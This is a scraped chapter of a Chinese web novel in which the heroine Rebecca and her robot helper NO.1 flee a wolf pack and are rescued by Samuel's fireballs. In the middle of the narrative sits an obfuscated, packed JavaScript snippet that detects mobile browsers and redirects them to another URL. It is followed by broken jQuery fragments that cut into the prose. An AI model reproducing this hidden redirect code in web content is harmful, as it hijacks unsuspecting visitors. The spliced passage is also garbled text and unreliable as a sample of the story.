默认冷灰
24号文字
方正启体

14. 歌鸫胡王子(14)

作者:雨时青本书字数:K更新时间:
    结束这简单而温馨的一餐后,瑞贝卡拿着火把去河边洗澡。


    时值秋日,四面蝉鸣,河水冰凉。她一边洗得直打哆嗦,一边大喊:「NO.1!NO.1!」


    「干嘛?叫魂啊你?」


    蝉鸣声稍稍一顿,NO.1掏着耳朵回道。


    它正躺在次空间里唯一的那把躺椅上,跷着二郎腿看漫画。


    它平时待的次空间,因为可以被调查员随身携带,还没有容量限制,所以被瑞贝卡拿来当仓库装东西:什么随便对付一顿用剩的调料啦、临时拿来坐一坐的小板凳啦、在副本中得来的意外收获啦……全被她一股脑儿地塞进了次空间里。


    所以次空间里原本有不少家具,NO.1想躺哪个就躺哪个。


    但两天前,因为瑞贝卡搭建好小屋后,从次空间里取出了不少家具用来装点室内,所以现在次空间里除了放满东西的货架以外,基本上空空如也。


    NO.1只好躺在这把平时看都不看一眼、放在角落吃灰的破躺椅上。


    而之所以看都不看一眼,是因为有一回瑞贝卡在雨林沼泽边小憩,里头突然窜出一条足有两人高的巨鳄扑咬上来,嘴里的腥风都扑到了她脸上。


    瑞贝卡来不及掏武器,只能翻身一滚,从躺椅上滚下去。巨鳄扑空,利齿瞬间刺破了结实的牛津布,体重坠着尖牙在布料上一扯,刷拉一声把布料撕出块大口子来。


    这下躺椅不能躺了,但还能做别的。瑞贝卡就势抄起那把躺椅的残骸,用它的钢管骨架哐叽哐叽猛敲巨鳄吻部上方的鼻子,敲得它鼻孔一阵猛烈收缩,吃痛地缩回沼泽里,再也不敢出来了。


    这把立下汗马功劳的躺椅从此就被收进次空间里,再没见过天日。


    但看漫画怎么能不躺着呢?没东西躺的时候,就算是条鳄鱼来了,NO.1也敢躺它身上。反正它是金刚不坏之身,鳄鱼的牙齿就算再硬,也不可能跟航空金属硬碰硬。


    它正看得津津有味,突然听见瑞贝卡的呼唤,小黑屏幕上顿时浮现出两个实心倒三角,无声地诉说着鄙夷。


    刚才跟公主你侬我侬的时候没想起它来,现在知道叫它了?哼!


    蝉们像赶着去投胎似的,叫得更急促了。瑞贝卡本来就被秋日的河水冻得浑身发抖,闻言直接翻了个白眼,没好气道:「怎么,本老大打扰到你的雅兴了?」


    NO.1一听,忙把漫画一丢,搓着手谄媚道:「没有没有!老大您要做什么?请直接吩咐小的!」


    瑞贝卡也不跟它客气,一边从河里爬上来,一边吩咐:「帮我看一下还剩几个关键任务节点。」


    「两个!一个是伪装成喝醉的轻骑兵砸场子,一个是把落荒而逃的小厨娘拉回宴会厅。」


    NO.1一听,忙正襟危坐地汇报。


    这家伙,在正事上还是蛮靠谱的。


    「看来这个任务很快就会结束了。」


    此时蝉鸣渐小,比起刚才吵得人心烦的阵仗,这回倒是悦耳多了。


    瑞贝卡已经擦干身子穿好衣服往回走,但还是冻得牙齿打架,挤出来的话也磕磕绊绊。


    「但……真的有这么简单吗?」


    而且,对于那些在任务世界中失踪的同事,她到现在也没什么头绪。


    她总觉得任务不会那么轻松结束,就算结束了,她和NO.1恐怕也没那么容易就能脱离任务世界。


    再者,塞缪尔身上的谜团也还没解开——她既有公主该有的身娇肉贵、又有公主不该有的娴熟技艺。


    瑞贝卡一度怀疑她也是时空管理局派来的调查员,但却在她身上感应不到与自己一样同为异界来客的能量波动。


    似乎公主本来就是这个时空的人。


    所以瑞贝卡又拿不定主意了。


    「老大,我发现,我们一直在着急忙慌地走剧情,完全忽略了一个致命的关键!」


    NO.1又将任务说明仔细读了一遍,突然叫道。


    「什么关键?」


    瑞贝卡拿着火把走在林间,已经隐隐能看见小木屋透出的灯火就在前方不远处了。


    「通关条件是“达成公主们的心愿,促成HE”啊!」


    「SO……?」


    「所以,我们要达成不止一个公主的“心愿”,还要完美地打出HE!所以,你得先知道塞缪尔的心愿是什么啊!」


    瑞贝卡脚步猛地一顿。


    「……你确定,“公主”这个词,后面还跟着个“们”字吗?」


    她一字一句道。


    夜风呼呼地啸叫着,火光在带有腥气的风中不断跳动摇曳,险些被熄灭。


    她心头涌上一阵莫名的寒意。


    似乎……安静得过分了。


    刚才在河边洗澡的时候,蝉叫得不是还很欢吗?


    怎么这会子全都哑巴了?


    瑞贝卡似有所感,猛一回头——


    身后空空如也。


    只有几点碧绿的萤火在黑黢黢的林间闪烁飞舞。


    NO.1听了她的质疑,屏幕上缓缓出现两个问号,无语道:「你是在质疑我的视力?」


    瑞贝卡:「……」


    ……她怎么会蠢到把那个“们”给忽略了呢?


    亏她还以为完成这个任务就可以回去了,原来在这儿等着她呢。


    心头那股寒意越来越大,她抬步继续向前走,但不动声色地加快了脚步。


    眼见她和塞缪尔的小屋就在前方几十米处了,NO.1把她的沉默当成了默认,还在喋喋不休:


    「哼,老大可以质疑我傻,但绝不可以质疑我的视力!」


    它现在就要证明给她看!


    NO.1环顾四周,双眼一亮——


    「你背后有七头野狼正在接近哦!」


    虽然它们离她还有十几米,而且它们把自己的身形隐藏得很好,但身为辅助系统、以当前最高科技水平研发出来的智能机器人,它的这双大眼睛可不是徒有其表的!


    别说是几头狼,就算是几只苍蝇,它都能把苍蝇腿上的毛一根根数出来!


    「我靠!你不早说!!」


    几乎是立刻,瑞贝卡醒悟过来自己刚才看到的“萤火”是什么,立马拔足狂奔,连头都来不及转回去看一眼——


    那哪是什么萤火虫,分明是狼的眼睛!!!


    好消息:刚才被送走的大臣和宫侍肯定没喂狼,平安地回去了。


    坏消息:狼没吃饱,自己找上门来了!!


    她的红发在奔跑时掀起的气流中飘扬,肌肉发达的紧实小腿跑出了残影。


    几乎是同时,在她开始撒丫子狂奔的时候,那几头狼也猛地扑了上来,锋利的趾爪在月光下闪动着寒芒,狠狠地刨起沙土向后扬去,四蹄狂奔,几乎是立刻就撵上了她的后背!


    「你没问啊!」


    NO.1也终于醒悟过来现在处于危急存亡的要命关头,急得直嚷。


    「你连鳄鱼都打得过,没道理打不过狼啊!别光跑,反击它们啊!」


    瑞贝卡光是奔跑就耗尽了所有力气,已经没力气再翻白眼了。


    「你这个猪脑子能不能聪明一点?水里游的能和地上跑的比吗?你让狼跳水里也游不过鳄鱼啊!两条腿的跑到死都跑不过四条腿的,你以为我不想反击它们吗?!它们现在咬得这么紧,我连武器都掏不出来,停下来只有死路一条——我只有一个,对面可是有七个啊!」


    「那怎么办?」


    NO.1急得满头大汗,屏幕上的水滴emoji一个劲地往下淌。


    「我找找有什么大规模的杀伤性武器……胡椒粉?杀虫剂?一袋黄豆?从海岛带回来的沙子?」


    「你再找不出来我今天真的要折在这里了……」


    在爆发性的持续奔跑中,瑞贝卡的力气很快就耗尽了,之所以现在还能勉强维持着跑动的状态,全靠那一点“好不容易才住上大房子绝对不能死在这里”的信念支撑着。


    她为了不把狼带到她和塞缪尔居住的小屋去,在抬腿跑起来的那一瞬间,就立刻改换方向,冲进了另一条岔路口,此时离小木屋透出的那点光亮越来越远。


    但她平时没有走过这条路,因此在隐隐看清路的尽头是视野十分开阔的悬崖时,心头只有操蛋的四个大字——


    天要亡她!


    瑞贝卡堪堪在一脚踏空的上一秒停了下来,上半身因为惯性短暂地向前扑去、悬空在悬崖之上,得以看清了深不见底的黑暗。


    鞋尖踢起的石子在空中划过一道完美的抛物线后落入深渊,瑞贝卡几乎可以想象出它与崖底岩石猛烈撞击然后粉身碎骨的惨状。


    她缓缓转过身,就见那几头狼已经很有秩序地分散开来形成包围圈,彻底把回路堵死。


    走动间,数十只狼爪子在地上摩擦出沙沙的声音,它们绿得快要滴出油的眼里闪动着饥饿与贪婪,嘴角腥臭的涎液一滴滴往下淌,已经在地上积了几小滩湿迹。


    瑞贝卡深吸了一口气。


    自己好歹也算时空管理局一大神话,没想到当年没死在危机重重的雨林中,这会儿反而要折在一个看似过家家的童话世界里,真是造化弄人。


    上帝就喜欢开玩笑。


    但……她宁愿打出BE结局,也不想让自己的死亡变成一个笑话。


    「把……那瓶杀虫剂拿出来。」


    话音刚落,她的右手中就立刻凭空出现了一只口罩和一瓶杀虫剂——就是最普通的那种家用杀虫剂,铁蓝色的瓶身,马口铁的外壳,拿在手里沉甸甸的,晃荡晃荡还有液体声。


    这杀虫剂她没用过几回,一是因为入职没多久她就疯狂出任务,大部分时间都是在任务世界中度过的,一个月基本上就回去住个两三天;二是因为入职之后不到半年她就搬进了前十专属的大别墅,彻底告别了那个又小又旧、隔音稀烂,还有蟑螂的老单元楼,这杀虫剂自然也就派不上用场了。


    「惹谁不好呢?偏要惹我。」


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359698|199736||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瑞贝卡冷笑一声,左手给自己戴好口罩,还不忘压了压鼻梁让口罩更贴合脸部轮廓,右手食指已经贴在了那个按压式喷头上。


    「虽然这瓶杀虫剂还不够你们七条虫豸分的,你们吸入之后不会马上就死,但至少在我临死前,还能享受享受哀嚎的交响曲。」


    NO.1早已屏住了呼吸,紧张地注视着眼前的一切,两只小手交握着,攥得死紧。


    如果它也有心脏的话,现在肯定已经跳出胸口了。


    狼们当然听不懂她的挑衅,它们只知道眼前的活人散发着鲜美可口的气味,它们只知道接下来就要有大餐吃了,而它们也只想饱餐一顿。


    它们身体后移,四肢蓄力,猛地扑上前来,森森的利齿泛着幽蓝的寒光——


    就是现在!


    瑞贝卡身体一矮,整个人几乎平躺下去,泥鳅似的,一个滑铲从狼群跃起的身体底下灵巧地钻过去。


    后背紧紧贴在沙土地上,粗糙的地面将粗布衣服都磨薄了,沙石隔着衣料硌着皮肤,摩擦出一阵火辣辣的痛感。


    但瑞贝卡已经顾不了那么多了。她屏住呼吸、闭上眼睛,举起杀虫剂一阵猛喷,手指在短短的零点几秒内狂按喷头,毫不节省。


    眼睛闭上了看不见,她就凭着直觉专往它们的口鼻眼喷,正好那些狼扑过来的时候都大张着嘴,正好便利了她行事。


    虽然闭着眼,但眼皮何其薄,上眼睑是人身上最薄的地方,最厚也不过0.5毫米。


    因此,即使瑞贝卡闭着眼,她还是从混沌的黑影中,敏锐地捕捉到了那一丝掠过视网膜的亮光。


    起先很小,后来越来越大,由远及近,呼啸着从她头顶飞过去,仿佛还带着惊人的热度。


    瑞贝卡心中一惊,又惊又惧,从狼群身子底下滑过去后,一稳住身子,就立刻扭过上半身,睁开了眼——


    只见一颗颗拳头大的火球犹如流星般照亮了头顶的天空,精准地向着狼群飞过去,还没接触到狼的皮毛,就立刻在空气中膨胀、炸裂,火光迅速地迸溅开来,在空气中炸成了视网膜上一颗硕大的、耀目的白斑。


    她一时被亮得睁不开眼,只能再次闭上眼,以免视力受损。


    随后,有什么腥膻的、温热的东西像雨一样扑簌簌落下来,刺鼻的气味刺激得瑞贝卡一阵阵作呕。


    她几乎是立刻就辨认出了这气味的来源是什么,顿时又是一阵干呕,在胃部的不断蠕动之下,被胃液消化成浆糊的牛肉烤饼和贝奈特饼以及一些酸水已经涌到了嗓子眼,她竭尽全力蠕动喉咙吞咽,才让它们不要跑出来。


    她回身,背对着身后已经被炸成血泥的狼群,腿软地站起来,几乎是连滚带爬往前跑。


    没跑了几步,鼻子突然撞上一堵软软弹弹的墙,撞得她鼻头发酸,下意识后退了两步,还没睁开眼,就被揽在后腰的一只手臂一收,猛地向前扑去,再一次撞上了那堵触感奇妙的墙。


    ……那股酸爽的感觉直刺大脑,瑞贝卡痛得鼻血都快下来了。


    “遇到危险怎么不叫我?”


    塞缪尔紧紧地抱着她,力道大得像是要把她融进自己的骨血,语气中满是惊魂未定和失而复得的后怕。


    他抱着她的手臂肌肉紧绷,处于随时可以暴起杀狼的应激状态。


    ……天知道他刚才赶来,看见那群狼向瑞贝卡扑去的画面,那一刻他真的以为自己又要失去她了。


    直到这一刻把她柔软温热的躯体抱在怀里,感受着她因为惊惧而微微发着抖,那种恐慌才慢慢消散了。


    他低下头,嘴唇不断亲吻在她头发上,滑滑凉凉的触感令他感到一阵久违的安心。


    瑞贝卡虽然被他紧紧抱在怀里,抬起头只能看见他修长的脖颈和下巴,但他身上那股好闻的玫瑰清香涌入鼻腔,傻子才猜不出现在正抱着自己的人是谁。


    她剧烈地喘息着,好不容易平复了,才骂道:


    “你放火干什么?!”


    要不是她正好利用狼群起跳后空出来的下方滑铲逃脱,现在被炸成肉泥的就是她了!


    虽然不知道塞缪尔是怎么做到让火焰变成球状并精准投放出去的,但是不管了先骂再说!


    塞缪尔还沉浸在心有余悸中,满脑子都是刚才张着血盆大口的狼群向她扑去的画面,还没回过神来就被骂得狗血淋头,当即脑子彻底停摆,傻站在原地不动了。


    “……为、为什么不能放火?”


    他双手抓紧她的双臂,目光紧紧盯着她的脸,结结巴巴地问。


    直到这时,他才看清她脸上的肉泥和血泥。


    再看看远处,刚才那些眼冒绿光、口流涎液的野狼,竟然已经被炸得不成样子了。


    刚才他满心满眼都是要接住她,竟然没注意到这么大的动静。


    “……它们怎么被炸成这样了?”


    塞缪尔有些迷茫。


    “你说呢?!”


    瑞贝卡没好气道。


    “——我用了杀虫剂!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)